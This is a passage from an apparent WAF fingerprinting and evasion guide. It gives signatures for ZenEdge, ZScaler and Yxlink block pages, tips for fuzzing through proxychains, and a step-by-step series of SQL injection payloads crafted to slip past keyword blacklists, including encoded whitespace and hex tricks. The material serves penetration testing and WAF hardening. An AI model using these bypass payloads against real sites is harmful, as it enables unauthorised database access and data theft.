Response might have yx_ci_session cookie field.

Response might have yx_language cookie field.

Server header contains Yxlink-WAF field value.

ZenEdge

Detectability: Easy

Detection Methodology:

Blocked response page contains reference to /__zenedge/assets/ directory.

Server header contain ZENEDGE keyword.

Blocked response headers may contain X-Zen-Fury header.

ZScaler

Detectability: Easy

Detection Methodology:

Server header has value set to ZScaler.

Blocked response page contains:
- Access Denied: Accenture Policy text.
- Reference to https://policies.accenture.com URL.
- Reference to image at https://login.zscloud.net/img_logo_new1.png.
- Your organization has selected Zscaler to protect you from internet threats.
- The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.

## Evasion Techniques
Lets look at some methods of bypassing and evading WAFs.

### Fuzzing/Bruteforcing:
#### Method:
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
- Wordlists specifically for fuzzing
- [Seclists/Fuzzing](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing).
- [Fuzz-DB/Attack](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack)
- [Other Payloads](https://github.com/foospidy/payloads)

#### Technique:
- Load up your wordlist into fuzzer and start the bruteforce.
- Record/log all responses from the different payloads fuzzed.
- Use random user-agents, ranging from Chrome Desktop to iPhone browser.
- If blocking noticed, increase fuzz latency (eg. 2-4 secs).
- Always use proxychains, since chances are real that your IP gets blocked.

#### Drawbacks:
- This method often fails.
- Many a times your IP will be blocked (temporarily/permanently).

### Regex Reversing:
#### Method:
- Most efficient method of bypassing WAFs.
- Some WAFs rely upon matching the attack payloads with the signatures in their databases.
- Payload matches the reg-ex the WAF triggers alarm.

#### Techniques:

### Blacklisting Detection/Bypass

- In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted.
- The idea is to guess the regex and craft the next payloads which doesn't use the blacklisted keywords.

__Case__: SQL Injection

##### • Step 1:
__Keywords Filtered__: `and`, `or`, `union`
__Probable Regex__: `preg_match('/(and|or|union)/i', $id)`
- __Blocked Attempt__: `union select user, password from users`
- __Bypassed Injection__: `1 || (select user from users where user_id = 1) = 'admin'`

##### • Step 2:
__Keywords Filtered__: `and`, `or`, `union`, `where`
- __Blocked Attempt__: `1 || (select user from users where user_id = 1) = 'admin'`
- __Bypassed Injection__: `1 || (select user from users limit 1) = 'admin'`

##### • Step 3:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`
- __Blocked Attempt__: `1 || (select user from users limit 1) = 'admin'`
- __Bypassed Injection__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`

##### • Step 4:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`
- __Blocked Attempt__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
- __Bypassed Injection__: `1 || (select substr(group_concat(user_id),1,1) user from users ) = 1`

##### • Step 5:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`
- __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
- __Bypassed Injection__: `1 || 1 = 1 into outfile 'result.txt'`
- __Bypassed Injection__: `1 || substr(user,1,1) = 'a'`

##### • Step 6:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`
- __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
- __Bypassed Injection__: `1 || user_id is not null`
- __Bypassed Injection__: `1 || substr(user,1,1) = 0x61`
- __Bypassed Injection__: `1 || substr(user,1,1) = unhex(61)`

##### • Step 7:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`
- __Blocked Attempt__: `1 || substr(user,1,1) = unhex(61)`
- __Bypassed Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))`

##### • Step 8:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`
- __Blocked Attempt__: `1 || substr(user,1,1) = lower(conv(11,10,36))`
- __Bypassed Injection__: `1 || lpad(user,7,1)`

##### • Step 9:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`, `white space`
- __Blocked Attempt__: `1 || lpad(user,7,1)`
- __Bypassed Injection__: `1%0b||%0blpad(user,7,1)`

### Obfuscation:
#### Method:
- Encoding payload to different encodings (a hit and trial approach).
- You can encode whole payload, or some parts of it and test recursively.

#### Techniques:
__1. Case Toggling__
- Some poorly developed WAFs filter selectively specific case WAFs.
- We can combine up

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